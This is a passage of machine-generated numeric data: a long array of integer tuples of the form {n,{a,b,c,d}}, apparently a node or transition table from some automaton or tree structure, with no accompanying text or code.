{0,{6942,3865,3865,3865}}, {0,{6943,6943,6943,6986}}, {0,{6944,6974,6985,6985}}, {0,{6945,6973,6973,6973}}, {0,{6946,6963,6963,6964}}, {0,{6947,6962,6962,6962}}, {0,{6948,6948,6961,6961}}, {0,{6949,6949,6949,6955}}, {0,{3589,3589,3589,6950}}, {0,{3590,3590,3590,6951}}, {0,{3591,3591,3591,6952}}, {0,{6953,3592,3592,3592}}, {0,{6954,3593,3593,3593}}, {789,{3444,3444,3444,3444}}, {0,{3571,3571,3571,6956}}, {0,{3572,3572,3572,6957}}, {0,{3573,3573,3573,6958}}, {0,{6959,3574,3574,3574}}, {0,{6960,3575,3575,3575}}, {790,{3576,3576,3576,3576}}, {0,{6955,6955,6955,6955}}, {0,{6961,6961,6961,6961}}, {0,{6962,6962,6962,6962}}, {0,{6965,6965,6965,6965}}, {0,{6966,6966,6966,6966}}, {0,{6967,6967,6967,6967}}, {0,{0,0,0,6968}}, {0,{0,0,0,6969}}, {0,{0,0,0,6970}}, {0,{6971,0,0,0}}, {0,{6972,0,0,0}}, {791,{0,0,0,0}}, {0,{6964,6964,6964,6964}}, {0,{6975,6973,6973,6973}}, {0,{6976,6964,6964,6964}}, {0,{6977,6965,6965,6965}}, {0,{6978,6978,6966,6966}}, {0,{6979,6979,6979,6967}}, {0,{3726,3726,3726,6980}}, {0,{3727,3727,3727,6981}}, {0,{3728,3728,3728,6982}}, {0,{6983,3729,3729,3729}}, {0,{6984,3730,3730,3730}}, {792,{3711,3711,3711,3711}}, {0,{6973,6973,6973,6973}}, {0,{6985,6985,6985,6985}}, {0,{6988,7002,7006,6540}}, {0,{6989,6541,6541,6541}}, {0,{6990,6542,6542,6542}}, {0,{6991,6543,6543,6543}}, {0,{6992,6992,6992,6992}}, {0,{6993,4797,4797,4797}}, {0,{6994,6994,6994,7001}}, {0,{6995,7000,7000,7000}}, {0,{6996,6999,6999,6999}}, {0,{6997,6997,6997,6998}}, {0,{6854,6854,6854,6854}}, {0,{6857,6857,6857,6857}}, {0,{6998,6998,6998,6998}}, {0,{6999,6999,6999,6999}}, {0,{7000,7000,7000,7000}}, {0,{6541,6541,6541,7003}}, {0,{7004,7004,7004,6542}}, {0,{7005,6543,6543,6543}}, {0,{4873,4861,4873,4861}}, {0,{6541,6541,6541,7007}}, {0,{7008,6542,6542,6542}}, {0,{7009,6543,6543,6543}}, {0,{7010,7010,4796,4796}}, {0,{7011,4797,4797,4797}}, {0,{7012,7012,7012,6986}}, {0,{7013,6985,6985,6985}}, {0,{7014,6973,6973,6973}}, {0,{6963,6963,6963,6964}}, {0,{7016,7002,7046,6540}}, {0,{6989,6541,6541,7017}}, {0,{7018,6542,7018,6542}}, {0,{7019,6543,6543,6543}}, {0,{7020,7020,7020,7020}}, {0,{7021,4797,4797,4797}}, {0,{7022,7022,7022,7045}}, {0,{7023,7044,7044,7044}}, {0,{7024,7043,7043,7043}}, {0,{7025,7025,7025,7034}}, {0,{7026,7026,7026,7026}}, {0,{7027,3748,7027,3748}}, {0,{3745,3745,3745,7028}}, {0,{3571,3571,3571,7029}}, {0,{3572,3572,3572,7030}}, {0,{3573,3573,3573,7031}}, {0,{7032,7032,7032,7032}}, {0,{7033,3575,3575,3575}}, {793,{3576,3576,3576,3576}}, {0,{7035,7035,7035,7035}}, {0,{7036,0,7036,0}}, {0,{0,0,0,7037}}, {0,{0,0,0,7038}}, {0,{0,0,0,7039}}, {0,{0,0,0,7040}}, {0,{7041,7041,7041,7041}}, {0,{7042,0,0,0}}, {794,{0,0,0,0}}, {0,{7034,7034,7034,7034}}, {0,{7043,7043,7043,7043}}, {0,{7044,7044,7044,7044}}, {795,{6541,6541,6541,7047}}, {0,{7048,6542,7018,6542}}, {0,{7049,6543,6543,6543}}, {0,{7050,7050,7020,7020}}, {0,{7051,4797,4797,4797}}, {0,{7052,7052,7052,7075}}, {0,{7053,7074,7074,7074}}, {0,{7054,7073,7073,7073}}, {0,{7055,7055,7055,7064}}, {0,{7056,7056,7056,7056}}, {0,{7057,6961,7057,6961}}, {0,{6955,6955,6955,7058}}, {0,{3571,3571,3571,7059}}, {0,{3572,3572,3572,7060}}, {0,{3573,3573,3573,7061}}, {0,{7062,7032,7032,7032}}, {0,{7063,3575,3575,3575}}, {797,{3576,3576,3576,3576}}, {0,{7065,7065,7065,7065}}, {0,{7066,6966,7066,6966}}, {0,{6967,6967,6967,7067}}, {0,{0,0,0,7068}}, {0,{0,0,0,7069}}, {0,{0,0,0,7070}}, {0,{7071,7041,7041,7041}}, {0,{7072,0,0,0}}, {799,{0,0,0,0}}, {0,{7064,7064,7064,7064}}, {0,{7073,7073,7073,7073}}, {0,{7074,7074,7074,7074}}, {0,{7077,6987,7015,6987}}, {0,{7078,7002,7006,6540}}, {0,{7079,6541,6541,6541}}, {0,{7080,6558,6558,6558}}, {0,{7081,6559,6559,6543}}, {0,{7082,7082,7082,7082}}, {0,{7083,4797,4797,4797}}, {0,{7084,7084,7084,6921}}, {0,{7085,6920,6920,6920}}, {0,{7086,6893,6893,6893}}, {0,{6855,6855,6855,6856}}, {0,{6987,6987,7015,6987}}, {0,{7089,7089,7106,7089}}, {0,{7090,7096,7100,0}}, {0,{7091,0,0,0}}, {0,{7092,0,0,0}}, {0,{7093,0,0,0}}, {0,{7094,7094,7094,7094}}, {0,{7095,0,0,0}}, {0,{7001,7001,7001,7001}}, {0,{0,0,0,7097}}, {0,{7098,7098,7098,0}}, {0,{7099,0,0,0}}, {0,{4955,4949,4955,4949}}, {0,{0,0,0,7101}}, {0,{7102,0,0,0}}, {0,{7103,0,0,0}}, {0,{7104,7104,0,0}}, {0,{7105,0,0,0}}, {0,{6986,6986,6986,6986}}, {0,{7107,7096,7113,0}}, {0,{7091,0,0,7108}}, {0,{7109,0,7109,0}}, {0,{7110,0,0,0}}, {0,{7111,7111,7111,7111}}, {0,{7112,0,0,0}}, {0,{7045,7045,7045,7045}}, {800,{0,0,0,7114}}, {0,{7115,0,7109,0}}, {0,{7116,0,0,0}}, {0,{7117,7117,7111,7111}}, {0,{7118,0,0,0}}, {0,{7075,7075,7075,7075}}, {801,{7120,7137,7143,7143}}, {0,{7121,7136,7106,7089}}, {0,{7122,7132,7100,0}}, {0,{7123,6577,6577,6577}}, {0,{7124,6574,6574,6574}}, {0,{7125,6575,6575,6576}}, {0,{7126,7126,7126,7130}}, {0,{7127,4982,0,0}}, {0,{7128,7128,7128,6921}}, {0,{7129,7129,6920,6920}}, {0,{6879,6879,6893,6893}}, {0,{7131,0,0,0}}, {0,{6921,6921,6921,6921}}, {0,{6577,6577,6577,7133}}, {0,{7134,7134,7134,6578}}, {0,{7135,6576,6576,6576}}, {0,{5149,5139,5149,4949}}, {803,{7090,7096,7100,0}}, {0,{7138,7136,7106,7089}}, {0,{7139,7096,7100,0}}, {0,{7140,0,0,0}}, {0,{7141,5791,5791,5791}}, {0,{7142,5792,5792,0}}, {0,{7130,7130,7130,7130}}, {0,{7089,7136,7106,7089}}, {0,{7145,7145,7199,7199}}, {0,{7146,7173,7182,7173}}, {0,{7147,7160,7164,7172}}, {0,{7148,7158,7158,7158}}, {0,{7149,7157,7157,7157}}, {0,{7150,7155,7155,7156}}, {0,{7151,7151,7151,7130}}, {0,{7152,5324,5324,5324}}, {0,{7153,7153,7153,7153}}, {0,{7154,6920,6920,6920}}, {804,{6893,6893,6893,6893}}, {0,{5322,5322,5322,4984}}, {0,{5331,5331,5331,0}}, {0,{7155,7155,7155,7156}}, {0,{7159,7159,7159,7159}}, {0,{7156,7156,7156,7156}}, {0,{7158,7158,7158,7161}}, {0,{7162,7162,7162,7159}}, {0,{7163,7156,7156,7156}}, {0,{5379,5371,5379,4949}}, {0,{7158,7158,7158,7165}}, {0,{7166,7159,7159,7159}}, {0,{7167,7156,7156,7156}}, {0,{7168,7168,5331,0}}, {0,{7169,5324,5324,5324}}, {0,{7170,7170,7170,7170}}, {0,{7171,6985,6985,6985}}, {805,{6973,6973,6973,6973}}, {0,{7158,7158,7158,7158}}, {0,{7174,7160,7164,7172}}, {0,{7175,7158,7158,7158}}, {0,{7176,7159,7159,7159}}, {0,{7177,7156,7156,7156}}, {0,{7178,7178,7178,7094}}, {0,{7179,5324,5324,5324}}, {0,{7180,7180,7180,7180}}, {0,{7181,7000,7000,7000}}, {806,{6999,6999,6999,6999}}, {0,{7183,7160,7191,7172}}, {0,{7175,7158,7158,7184}}, {0,{7185,7159,7185,7159}}, {0,{7186,7156,7156,7156}}, {0,{7187,7187,7187,7111}}, {0,{7188,5324,5324,5324}}, {0,{7189,7189,7189,7189}}, {0,{7190,7044,7044,7044}}, {807,{7043,7043,7043,7043}}, {808,{7158,7158,7158,7192}}, {0,{7193,7159,7185,7159}}, {0,{7194,7156,7156,7156}}, {0,{7195,7195,7187,7111}}, {0,{7196,5324,5324,5324}}, {0,{7197,7197,7197,7197}}, {0,{7198,7074,7074,7074}}, {809,{7073,7073,7073,7073}}, {0,{7173,7173,7182,7173}}, {0,{7201,7201,7202,7202}}, {0,{7138,7089,7089,7089}}, {0,{7089,7089,7089,7089}}, {810,{7204,7225,7236,7238}}, {0,{7205,7217,7219,7220}}, {0,{7206,7211,7216,7211}}, {0,{6678,7207,6937,6540}}, {0,{6446,6446,6446,7208}}, {0,{7209,7209,7209,6447}}, {0,{7210,6445,6445,6445}}, {0,{4650,4650,4650,4752}}, {0,{6988,7212,7006,6540}}, {0,{6541,6541,6541,7213}}, {0,{7214,7214,7214,6542}}, {0,{7215,6543,6543,6543}}, {0,{4861,4861,4861,4861}}, {0,{7016,7212,7046,6540}}, {0,{7218,7211,7216,7211}}, {0,{7078,7212,7006,6540}}, {0,{7211,7211,7216,7211}}, {0,{7221,7221,7224,7221}}, {0,{7090,7222,7100,0}}, {0,{0,0,0,7223}}, {0,{5801,5801,5801,0}}, {0,{7107,7222,7113,0}}, {811,{7226,7233,7235,7235}}, {0,{7227,7232,7224,7221}}, {0,{7122,7228,7100,0}}, {0,{6577,6577,6577,7229}}, {0,{7230,7230,7230,6578}}, {0,{7231,6576,6576,6576}}, {0,{5139,5139,5139,4949}}, {813,{7090,7222,7100,0}}, {0,{7234,7232,7224,7221}}, {0,{7139,7222,7100,0}}, {0,{7221,7232,7224,7221}}, {0,{7237,7237,7220,7220}}, {0,{7234,7221,7224,7221}}, {0,{7239,7239,7240,7240}}, {0,{7234,7221,7221,7221}}, {0,{7221,7221,7221,7221}}, {0,{7242,7325,7380,7387}}, {0,{7243,7290,7300,7301}}, {0,{7244,7272,7283,7272}}, {0,{7245,7257,7262,7267}}, {0,{7246,7255,7255,7255}}, {0,{7247,7254,7254,7254}}, {0,{7248,7250,7250,7252}}, {0,{7249,6682,6682,6922}}, {814,{6683,3864,3865,3865}}, {0,{7251,3861,3861,3867}}, {815,{3862,3864,3865,3865}}, {0,{7253,3881,3881,3883}}, {816,{3864,3864,3865,3865}}, {0,{7250,7250,7250,7252}}, {0,{7256,7256,7256,7256}}, {0,{7252,7252,7252,7252}}, {0,{7255,7255,7255,7258}}, {0,{7259,7259,7259,7256}}, {0,{7260,7252,7252,7252}}, {0,{7261,4650,4765,4752}}, {817,{4707,3864,3865,3865}}, {0,{7263,7263,7263,7263}}, {0,{7264,7264,7264,7264}}, {0,{7265,7265,7265,7265}}, {0,{7266,3883,3883,3883}}, {818,{3865,3865,3865,3865}}, {0,{7268,7268,7268,7268}}, {0,{7269,7269,7269,7269}}, {0,{7270,7270,7270,7270}}, {0,{7271,4796,4796,4796}}, {819,{4797,4797,4797,4797}}, {0,{7273,7278,7267,7267}}, {0,{7274,7268,7268,7268}}, {0,{7275,7269,7269,7269}}, {0,{7276,7270,7270,7270}}, {0,{7277,6992,6992,6992}}, {820,{6993,4797,4797,4797}}, {0,{7268,7268,7268,7279}}, {0,{7280,7280,7280,7269}}, {0,{7281,7270,7270,7270}}, {0,{7282,4861,4873,4861}}, {821,{4867,4797,4797,4797}}, {0,{7284,7278,7289,7267}}, {0,{7274,7268,7268,7285}}, {0,{7286,7269,7286,7269}}, {0,{7287,7270,7270,7270}}, {0,{7288,7020,7020,7020}}, {822,{7021,4797,4797,4797}}, {823,{7268,7268,7268,7285}}, {0,{7291,7272,7283,7272}}, {0,{7292,7278,7267,7267}}, {0,{7293,7268,7268,7268}}, {0,{7294,7299,7299,7299}}, {0,{7295,7297,7297,7270}}, {0,{7296,7082,7082,7082}}, {824,{7083,4797,4797,4797}}, {0,{7298,4890,4890,4890}}, {825,{4891,4797,4797,4797}}, {0,{7297,7297,7297,7270}}, {0,{7272,7272,7283,7272}}, {0,{7302,7302,7318,7302}}, {0,{7303,7312,7317,7317}}, {0,{7304,7311,7311,7311}}, {0,{7305,7310,7310,7310}}, {0,{7306,7308,7308,7308}}, {0,{7307,7094,7094,7094}}, {826,{7095,0,0,0}}, {0,{7309,0,0,0}}, {827,{0,0,0,0}}, {0,{7308,7308,7308,7308}}, {0,{7310,7310,7310,7310}}, {0,{7311,7311,7311,7313}}, {0,{7314,7314,7314,7310}}, {0,{7315,7308,7308,7308}}, {0,{7316,4949,4955,4949}}, {828,{4952,0,0,0}}, {0,{7311,7311,7311,7311}}, {0,{7319,7312,7324,7317}}, {0,{7304,7311,7311,7320}}, {0,{7321,7310,7321,7310}}, {0,{7322,7308,7308,7308}}, {0,{7323,7111,7111,7111}}, {829,{7112,0,0,0}}, {830,{7311,7311,7311,7320}}, {831,{7326,7369,7379,7379}}, {0,{7327,7350,7361,7368}}, {0,{7328,7340,7345,7345}}, {0,{7329,7338,7338,7338}}, {0,{7330,7337,7337,7337}}, {0,{7331,7333,7333,7335}}, {0,{7332,7126,7126,7130}}, {832,{7127,4982,0,0}}, {0,{7334,4980,4980,4984}}, {833,{4981,4982,0,0}}, {0,{7336,4991,4991,0}}, {834,{4982,4982,0,0}}, {0,{7333,7333,7333,7335}}, {0,{7339,7339,7339,7339}}, {0,{7335,7335,7335,7335}}, {0,{7338,7338,7338,7341}}, {0,{7342,7342,7342,7339}}, {0,{7343,7335,7335,7335}}, {0,{7344,5139,5149,4949}}, {835,{5144,4982,0,0}}, {0,{7346,7346,7346,7346}}, {0,{7347,7347,7347,7347}}, {0,{7348,7348,7348,7348}}, {0,{7349,0,0,0}}, {836,{0,0,0,0}}, {838,{7351,7356,7345,7345}}, {0,{7352,7346,7346,7346}}, {0,{7353,7347,7347,7347}}, {0,{7354,7348,7348,7348}}, {0,{7355,7094,7094,7094}}, {839,{7095,0,0,0}}, {0,{7346,7346,7346,7357}}, {0,{7358,7358,7358,7347}}, {0,{7359,7348,7348,7348}}, {0,{7360,4949,4955,4949}}, {840,{4952,0,0,0}}, {0,{7362,7356,7367,7345}}, {0,{7352,7346,7346,7363}}, {0,{7364,7347,7364,7347}}, {0,{7365,7348,7348,7348}}, {0,{7366,7111,7111,7111}}, {841,{7112,0,0,0}}, {842,{7346,7346,7346,7363}}, {0,{7351,7356,7345,7345}}, {0,{7370,7350,7361,7368}}, {0,{7371,7356,7345,7345}}, {0,{7372,7346,7346,7346}}, {0,{7373,7378,7378,7378}}, {0,{7374,7376,7376,7348}}, {0,{7375,7130,7130,7130}}, {843,{7131,0,0,0}}, {0,{7377,4984,4984,4984}}, {844,{4985,0,0,0}}, {0,{7376,7376,7376,7348}}, {0,{7368,7350,7361,7368}}, {0,{7381,7381,7386,7386}}, {0,{7382,7383,7384,7383}}, {0,{7139,7096,0,0}}, {0,{7090,7096,0,0}}, {0,{7107,7096,7385,0}}, {845,{0,0,0,7108}}, {0,{7383,7383,7384,7383}}, {0,{7388,7388,7389,7389}}, {0,{7382,7383,7383,7383}}, {0,{7383,7383,7383,7383}}, {0,{7391,7397,7391,7401}}, {0,{7392,7392,7396,7396}}, {0,{7393,7394,7395,7394}}, {0,{7139,7222,0,0}}, {0,{7090,7222,0,0}}, {0,{7107,7222,7385,0}}, {0,{7394,7394,7395,7394}}, {846,{7398,7398,7400,7400}}, {0,{7393,7399,7395,7394}}, {848,{7090,7222,0,0}}, {0,{7394,7399,7395,7394}}, {0,{7402,7402,7403,7403}}, {0,{7393,7394,7394,7394}}, {0,{7394,7394,7394,7394}}, {0,{7405,6615,7409,6616}}, {0,{6600,6606,7406,0}}, {0,{7407,7407,7407,7407}}, {0,{7408,7408,7408,7408}}, {0,{7172,7172,7172,7172}}, {0,{7410,7418,0,0}}, {0,{7411,7415,7415,7416}}, {0,{7412,7414,7414,7414}}, {0,{7413,7413,7262,7267}}, {0,{7255,7255,7255,7255}}, {0,{7267,7267,7267,7267}}, {0,{7414,7414,7414,7414}}, {0,{7417,7417,7417,7417}}, {0,{7317,7317,7317,7317}}, {849,{7419,7425,7425,7427}}, {0,{7420,7423,7424,7424}}, {0,{7421,7421,7422,7345}}, {850,{7338,7338,7338,7338}}, {851,{7346,7346,7346,7346}}, {853,{7345,7345,7345,7345}}, {0,{7345,7345,7345,7345}}, {0,{7426,7423,7424,7424}}, {0,{7422,7422,7422,7345}}, {0,{7424,7423,7424,7424}}, {855,{7429,6671,7430,6669}}, {0,{6620,6623,7406,0}}, {0,{7431,7434,0,0}}, {0,{7432,7415,7415,7416}}, {0,{7433,7414,7414,7414}}, {0,{7262,7262,7262,7267}}, {856,{7427,7427,7427,7427}}, {0,{7429,6671,7430,6669}}, {0,{7437,6670,6670,6670}}, {0,{7438,7455,7438,7456}}, {0,{7439,7449,7453,7453}}, {0,{7440,7446,6605,0}}, {0,{7441,6604,6604,6604}}, {0,{7442,6603,6603,6540}}, {0,{7443,6534,6534,6534}}, {0,{7444,7444,7444,7444}}, {0,{7445,7445,7445,6536}}, {0,{3867,3867,3867,3867}}, {0,{7447,6604,6604,6604}}, {0,{7448,6540,6540,6540}}, {0,{6557,6541,6541,6541}}, {857,{7450,7450,6614,6614}}, {0,{7451,6611,0,0}}, {0,{7452,0,0,0}}, {0,{6591,0,0,0}}, {0,{7454,7454,0,0}}, {0,{7451,0,0,0}}, {858,{7439,7449,7453,7453}}, {0,{7453,7449,7453,7453}}, {0,{7458,7554,7561,7599}}, {0,{7459,7521,7540,7540}}, {0,{7460,7489,7513,6669}}, {0,{7461,7476,7483,7488}}, {0,{7462,7471,7471,7472}}, {0,{7463,7470,7470,7470}}, {0,{7464,7464,7466,7468}}, {0,{7465,7465,7465,7465}}, {0,{3889,3889,3889,3889}}, {0,{7467,7467,7467,7467}}, {0,{4774,4774,4774,4774}}, {0,{7469,7469,7469,7469}}, {0,{4799,4799,4799,4799}}, {0,{7468,7468,7468,7468}}, {0,{7470,7470,7470,7470}}, {0,{7473,7473,7473,7473}}, {0,{7474,7474,7474,7474}}, {0,{7475,7475,7475,7475}}, {0,{4913,4913,4913,4913}}, {859,{7477,7482,7482,7482}}, {0,{7478,7481,7473,7473}}, {0,{7479,7479,7474,7474}}, {0,{7480,7480,7480,7480}}, {0,{4998,4998,4998,4998}}, {861,{7474,7474,7474,7474}}, {0,{7473,7481,7473,7473}}, {0,{7484,7484,7484,7484}}, {0,{7485,7485,7485,7485}}, {0,{7486,7486,7486,7486}}, {0,{7487,7487,7487,7487}}, {0,{5338,5338,5338,5338}}, {0,{7472,7472,7472,7472}}, {862,{7490,7505,7512,7512}}, {0,{7491,7500,7500,7501}}, {0,{7492,7499,7499,7499}}, {0,{7493,7493,7495,7497}}, {0,{7494,7494,7494,7494}}, {0,{5454,5454,5454,5454}}, {0,{7496,7496,7496,7496}}, {0,{5475,5475,5475,5475}}, {0,{7498,7498,7498,7498}}, {0,{5481,5481,5481,5481}}, {0,{7497,7497,7497,7497}}, {0,{7499,7499,7499,7499}}, {0,{7502,7502,7502,7502}}, {0,{7503,7503,7503,7503}}, {0,{7504,7504,7504,7504}}, {0,{5517,5517,5517,5517}}, {863,{7506,7511,7511,7511}}, {0,{7507,7510,7502,7502}}, {0,{7508,7508,7503,7503}}, {0,{7509,7509,7509,7509}}, {0,{5551,5551,5551,5551}}, {865,{7503,7503,7503,7503}}, {0,{7502,7510,7502,7502}}, {0,{7501,7501,7501,7501}}, {0,{7514,7515,7516,7488}}, {866,{7462,7471,7471,7472}}, {868,{7477,7482,7482,7482}}, {0,{7517,7517,7517,7517}}, {0,{7518,7518,7518,7518}}, {0,{7519,7519,7519,7519}}, {0,{7520,7520,7520,7520}}, {0,{5724,5724,5724,5724}}, {0,{7522,7530,7538,6616}}, {0,{7461,7523,7483,7488}}, {869,{7524,7528,7528,7482}}, {0,{7525,7481,7473,7473}}, {0,{7526,7526,7527,7474}}, {870,{7480,7480,7480,7480}}, {871,{7475,7475,7475,7475}}, {0,{7529,7481,7473,7473}}, {0,{7527,7527,7527,7474}}, {872,{7490,7531,7512,7512}}, {873,{7532,7536,7536,7511}}, {0,{7533,7510,7502,7502}}, {0,{7534,7534,7535,7503}}, {874,{7509,7509,7509,7509}}, {875,{7504,7504,7504,7504}}, {0,{7537,7510,7502,7502}}, {0,{7535,7535,7535,7503}}, {0,{7514,7539,7516,7488}}, {877,{7524,7528,7528,7482}}, {0,{7541,7546,7551,6669}}, {0,{7542,7545,7483,7488}}, {0,{7543,7471,7471,7472}}, {0,{7544,7470,7470,7470}}, {0,{7466,7466,7466,7468}}, {878,{7482,7482,7482,7482}}, {879,{7547,7550,7512,7512}}, {0,{7548,7500,7500,7501}}, {0,{7549,7499,7499,7499}}, {0,{7495,7495,7495,7497}}, {880,{7511,7511,7511,7511}}, {0,{7552,7553,7516,7488}}, {881,{7543,7471,7471,7472}}, {883,{7482,7482,7482,7482}}, {0,{7555,6598,6618,6670}}, {0,{7556,7560,7556,6669}}, {0,{6600,7557,0,0}}, {884,{7558,6614,6614,6614}}, {0,{7559,6611,0,0}}, {0,{6586,6586,0,0}}, {885,{6600,7557,0,0}}, {0,{7562,7404,7435,7435}}, {0,{7563,7579,7581,7597}}, {0,{7564,7572,7575,0}}, {0,{7565,7568,7568,7569}}, {0,{6602,6604,7566,6604}}, {0,{6540,6540,7567,6540}}, {886,{6541,6541,6541,6541}}, {0,{6604,6604,7566,6604}}, {0,{0,0,7570,0}}, {0,{0,0,7571,0}}, {887,{0,0,0,0}}, {888,{7573,7574,7574,7574}}, {0,{7559,6611,7570,0}}, {0,{0,6611,7570,0}}, {0,{7576,7576,7576,7576}}, {0,{7408,7408,7577,7408}}, {0,{7172,7172,7578,7172}}, {889,{7158,7158,7158,7158}}, {890,{7564,7572,7580,0}}, {0,{7569,7569,7569,7569}}, {0,{7582,7590,7580,0}}, {0,{7583,7586,7586,7587}}, {0,{7412,7414,7584,7414}}, {0,{7267,7267,7585,7267}}, {891,{7268,7268,7268,7268}}, {0,{7414,7414,7584,7414}}, {0,{7417,7417,7588,7417}}, {0,{7317,7317,7589,7317}}, {892,{7311,7311,7311,7311}}, {893,{7591,7596,7596,7596}}, {0,{7592,7423,7594,7424}}, {0,{7593,7593,7345,7345}}, {0,{7338,7338,7338,7338}}, {0,{7345,7345,7595,7345}}, {894,{7346,7346,7346,7346}}, {0,{7424,7423,7594,7424}}, {0,{7580,7598,7580,0}}, {895,{7574,7574,7574,7574}}, {0,{6670,6670,6670,6670}}, {0,{7601,7554,7807,7599}}, {0,{7602,7694,7793,7540}}, {0,{7603,7650,7684,6669}}, {0,{7604,7631,7641,7649}}, {0,{7605,7623,7623,7624}}, {0,{7606,7622,7622,7622}}, {0,{7607,7607,7612,7617}}, {0,{7608,7608,7608,7608}}, {0,{7609,3889,7609,3889}}, {0,{7610,3886,7610,3886}}, {0,{3881,7611,3882,3883}}, {896,{3864,3864,3865,3865}}, {0,{7613,7613,7613,7613}}, {0,{7614,4774,7614,4774}}, {0,{7615,4775,7615,4775}}, {0,{3883,7616,4773,3883}}, {897,{3865,3865,3865,3865}}, {0,{7618,7618,7618,7618}}, {0,{7619,4799,7619,4799}}, {0,{7620,4800,7620,4800}}, {0,{4796,7621,4798,4796}}, {898,{4797,4797,4797,4797}}, {0,{7617,7617,7617,7617}}, {0,{7622,7622,7622,7622}}, {0,{7625,7625,7625,7625}}, {0,{7626,7626,7626,7626}}, {0,{7627,7627,7627,7627}}, {0,{7628,4913,7628,4913}}, {0,{7629,4914,7629,4914}}, {0,{0,7630,4910,0}}, {899,{0,0,0,0}}, {900,{7632,7640,7640,7640}}, {0,{7633,7639,7625,7625}}, {0,{7634,7634,7626,7626}}, {0,{7635,7635,7635,7635}}, {0,{7636,4998,7636,4998}}, {0,{7637,4995,7637,4995}}, {0,{4991,7638,4992,0}}, {901,{4982,4982,0,0}}, {903,{7626,7626,7626,7626}}, {0,{7625,7639,7625,7625}}, {0,{7642,7642,7642,7642}}, {0,{7643,7643,7643,7643}}, {0,{7644,7644,7644,7644}}, {0,{7645,7645,7645,7645}}, {0,{7646,5338,7646,5338}}, {0,{7647,5335,7647,5335}}, {0,{5331,7648,5332,0}}, {904,{5324,5324,5324,5324}}, {0,{7624,7624,7624,7624}}, {905,{7651,7674,7683,7683}}, {0,{7652,7667,7667,7668}}, {0,{7653,7666,7666,7666}}, {0,{7654,7654,7658,7662}}, {0,{7655,7655,7655,7655}}, {0,{7656,5454,7656,5454}}, {0,{7657,5450,7657,5450}}, {0,{3881,7611,5451,3883}}, {0,{7659,7659,7659,7659}}, {0,{7660,5475,7660,5475}}, {0,{7661,5476,7661,5476}}, {0,{3883,7616,5477,3883}}, {0,{7663,7663,7663,7663}}, {0,{7664,5481,7664,5481}}, {0,{7665,5482,7665,5482}}, {0,{4796,7621,5483,4796}}, {0,{7662,7662,7662,7662}}, {0,{7666,7666,7666,7666}}, {0,{7669,7669,7669,7669}}, {0,{7670,7670,7670,7670}}, {0,{7671,7671,7671,7671}}, {0,{7672,5517,7672,5517}}, {0,{7673,5518,7673,5518}}, {0,{0,7630,5519,0}}, {906,{7675,7682,7682,7682}}, {0,{7676,7681,7669,7669}}, {0,{7677,7677,7670,7670}}, {0,{7678,7678,7678,7678}}, {0,{7679,5551,7679,5551}}, {0,{7680,5547,7680,5547}}, {0,{4991,7638,5548,0}}, {908,{7670,7670,7670,7670}}, {0,{7669,7681,7669,7669}}, {0,{7668,7668,7668,7668}}, {0,{7685,7686,7687,7649}}, {909,{7605,7623,7623,7624}}, {911,{7632,7640,7640,7640}}, {0,{7688,7688,7688,7688}}, {0,{7689,7689,7689,7689}}, {0,{7690,7690,7690,7690}}, {0,{7691,7691,7691,7691}}, {0,{7692,5724,7692,5724}}, {0,{7693,5719,7693,5719}}, {0,{5720,7630,5721,0}}, {0,{7695,7756,7782,6616}}, {0,{7696,7737,7744,7755}}, {0,{7697,7728,7728,7729}}, {0,{7698,7727,7727,7727}}, {0,{7464,7464,7466,7699}}, {0,{7469,7469,7469,7700}}, {0,{7701,4799,4799,4799}}, {0,{7702,4800,4800,4800}}, {0,{4796,4796,7703,4796}}, {912,{4797,4797,4797,7704}}, {0,{7705,7705,7705,7726}}, {0,{7706,7725,7725,7725}}, {0,{7707,7724,7724,7724}}, {0,{7708,7708,7708,7716}}, {0,{7709,7709,7709,7709}}, {0,{3748,3748,3748,7710}}, {0,{3745,3745,3745,7711}}, {0,{3571,3571,3571,7712}}, {0,{3572,3572,3572,7713}}, {0,{3573,3573,3573,7714}}, {0,{7715,3574,7715,3574}}, {913,{3575,3575,3575,3575}}, {0,{7717,7717,7717,7717}}, {0,{0,0,0,7718}}, {0,{0,0,0,7719}}, {0,{0,0,0,7720}}, {0,{0,0,0,7721}}, {0,{0,0,0,7722}}, {0,{7723,0,7723,0}}, {914,{0,0,0,0}}, {0,{7716,7716,7716,7716}}, {0,{7724,7724,7724,7724}}, {0,{7725,7725,7725,7725}}, {0,{7468,7468,7468,7699}}, {0,{7727,7727,7727,7727}}, {0,{7730,7730,7730,7730}}, {0,{7474,7474,7474,7731}}, {0,{7475,7475,7475,7732}}, {0,{7733,4913,4913,4913}}, {0,{7734,4914,4914,4914}}, {0,{0,0,7735,0}}, {915,{0,0,0,7736}}, {0,{7726,7726,7726,7726}}, {916,{7738,7741,7741,7743}}, {0,{7739,7740,7730,7730}}, {0,{7526,7526,7527,7731}}, {918,{7474,7474,7474,7731}}, {0,{7742,7740,7730,7730}}, {0,{7527,7527,7527,7731}}, {0,{7730,7740,7730,7730}}, {0,{7745,7745,7745,7745}}, {0,{7746,7746,7746,7746}}, {0,{7486,7486,7486,7747}}, {0,{7487,7487,7487,7748}}, {0,{7749,5338,5338,5338}}, {0,{7750,5335,5335,5335}}, {0,{5331,5331,7751,0}}, {919,{5324,5324,5324,7752}}, {0,{7753,7753,7753,7753}}, {0,{7754,7725,7725,7725}}, {920,{7724,7724,7724,7724}}, {0,{7729,7729,7729,7729}}, {921,{7757,7774,7781,7781}}, {0,{7758,7766,7766,7767}}, {0,{7759,7765,7765,7765}}, {0,{7493,7493,7495,7760}}, {0,{7498,7498,7498,7761}}, {0,{7762,5481,5481,5481}}, {0,{7763,5482,5482,5482}}, {0,{4796,4796,7764,4796}}, {923,{4797,4797,4797,7704}}, {0,{7497,7497,7497,7760}}, {0,{7765,7765,7765,7765}}, {0,{7768,7768,7768,7768}}, {0,{7503,7503,7503,7769}}, {0,{7504,7504,7504,7770}}, {0,{7771,5517,5517,5517}}, {0,{7772,5518,5518,5518}}, {0,{0,0,7773,0}}, {925,{0,0,0,7736}}, {926,{7775,7778,7778,7780}}, {0,{7776,7777,7768,7768}}, {0,{7534,7534,7535,7769}}, {928,{7503,7503,7503,7769}}, {0,{7779,7777,7768,7768}}, {0,{7535,7535,7535,7769}}, {0,{7768,7777,7768,7768}}, {0,{7767,7767,7767,7767}}, {0,{7783,7784,7785,7755}}, {929,{7697,7728,7728,7729}}, {931,{7738,7741,7741,7743}}, {0,{7786,7786,7786,7786}}, {0,{7787,7787,7787,7787}}, {0,{7519,7519,7519,7788}}, {0,{7520,7520,7520,7789}}, {0,{7790,5724,5724,5724}}, 